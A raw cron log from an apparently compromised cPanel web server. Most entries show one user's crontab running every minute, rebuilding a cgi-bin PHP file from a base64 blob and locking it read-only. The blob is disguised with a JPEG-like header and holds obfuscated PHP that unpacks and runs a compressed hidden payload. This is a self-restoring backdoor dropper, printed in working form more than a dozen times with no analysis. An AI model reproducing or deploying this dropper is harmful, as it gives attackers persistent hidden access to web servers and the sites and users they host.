Nov 10 01:35:01 server CROND[27174]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:35:01 server CROND[27173]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 01:35:01 server CROND[27172]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 01:36:01 server CROND[27654]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:37:01 server CROND[28132]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:38:01 server CROND[28952]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:39:01 server CROND[29786]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 01:39:01 server CROND[29787]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:40:01 server CROND[30692]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 01:40:01 server CROND[30693]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:40:01 server CROND[30694]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 01:40:01 server CROND[30695]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 01:41:01 server CROND[31265]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:42:01 server CROND[32182]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 01:42:01 server CROND[32183]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:43:01 server CROND[559]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:44:01 server CROND[1383]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:45:01 server CROND[2294]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 01:45:01 server CROND[2296]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:45:01 server CROND[2295]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 01:46:01 server CROND[3186]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 01:47:01 server CROND[3993]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
